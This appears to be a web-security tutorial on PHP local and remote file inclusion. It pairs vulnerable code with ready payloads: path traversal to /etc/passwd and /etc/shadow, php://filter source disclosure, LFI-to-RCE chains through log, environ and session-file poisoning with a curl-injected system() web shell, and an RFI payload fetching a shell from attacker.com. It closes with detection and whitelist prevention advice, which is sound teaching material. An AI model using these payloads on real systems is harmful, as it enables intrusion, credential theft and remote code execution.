Local & Remote File Inclusion (LFI / RFI)
File Inclusion Vulnerabilities in PHP
Understanding the Vulnerability
PHP's include(), require(), include_once(), and require_once() functions dynamically load and execute PHP files. When the path passed to these functions is controlled by user input, an attacker can load arbitrary files from the server (LFI) or from a remote server (RFI).
// Classic vulnerable pattern
$page = $_GET['page'];
include($page . '.php');
// Also vulnerable — no extension appended
include($_GET['file']);
Local File Inclusion (LFI)
LFI allows reading arbitrary files from the server's filesystem. The attacker uses path traversal sequences to escape the intended directory.
// Basic path traversal
?page=../../../../etc/passwd
?page=....//....//....//etc/passwd // bypass basic filter
?page=..%2F..%2F..%2Fetc%2Fpasswd // URL encoded
// Interesting files to read on Linux
/etc/passwd
/etc/shadow // if running as root
/proc/self/environ // environment variables (contains HTTP headers!)
/proc/self/cmdline // process command line
/var/log/apache2/access.log // for log poisoning
/var/log/nginx/access.log
/tmp/sess_[PHPSESSID] // PHP session file
PHP Stream Wrappers (LFI bypass + source disclosure)
PHP wrappers allow reading files in different formats without triggering PHP execution — critical for extracting source code.
// Base64-encode the PHP source (bypasses .php extension execution)
?page=php://filter/convert.base64-encode/resource=index
// Response: base64 encoded PHP source → decode to read credentials
// Read as plain text
?page=php://filter/read=string.rot13/resource=index
// Read any file
?page=php://filter/resource=/etc/passwd
LFI to RCE — Log Poisoning
If you can read the web server's access log via LFI, you can poison it with PHP code by injecting it into the User-Agent header. The next LFI request executes the poisoned log entry.
# Step 1: Poison the log with PHP payload in User-Agent
curl -H "User-Agent: <?php system(\$_GET['cmd']); ?>" http://target.com/
# Step 2: Include the log via LFI
?page=../../../../var/log/apache2/access.log&cmd=id
# Result: executes id on the server
LFI to RCE — /proc/self/environ
# Inject PHP in User-Agent
curl -H "User-Agent: <?php system(\$_GET['c']); ?>" http://target.com/
# Include the environ file
?page=../../../../proc/self/environ&c=whoami
LFI to RCE — PHP Session File
# PHP stores sessions in /tmp/sess_SESSIONID
# 1. Set a session cookie and inject PHP in a parameter that gets stored in session:
?username=<?php system($_GET['cmd']); ?>
# 2. Include the session file:
?page=../../../../tmp/sess_abc123&cmd=id
LFI — Null Byte Bypass (PHP < 5.3.4)
// Code appends .php extension:
include($page . '.php');
// Bypass with null byte — truncates the string at %00
?page=../../../../etc/passwd%00
// The include becomes: include("../../../../etc/passwd");
Remote File Inclusion (RFI)
RFI requires allow_url_include = On in php.ini (disabled by default in modern PHP). If enabled, the attacker can include a remote PHP file they control, achieving instant RCE.
// Attacker hosts: http://attacker.com/shell.php
// Content: <?php system($_GET['cmd']); ?>
// RFI payload
?page=http://attacker.com/shell
// PHP fetches and executes the remote file → RCE
Detection Checklist
- Look for parameters named:
page,file,path,include,template,doc,view,lang - Try
../../etc/passwdas the value - Try
php://filter/convert.base64-encode/resource=index - Check if
allow_url_includeis on (try?page=http://attacker.com/test)
Prevention
// SAFE — whitelist approach only
$allowed = ['home', 'about', 'contact'];
$page = in_array($_GET['page'], $allowed) ? $_GET['page'] : 'home';
include($page . '.php');
// php.ini hardening
allow_url_include = Off
allow_url_fopen = Off
open_basedir = /var/www/html
Key Insight: Never pass user input directly to file inclusion functions. Use a whitelist. Even with a whitelist, path traversal sequences should be stripped or rejected. Set open_basedir as a defense-in-depth measure.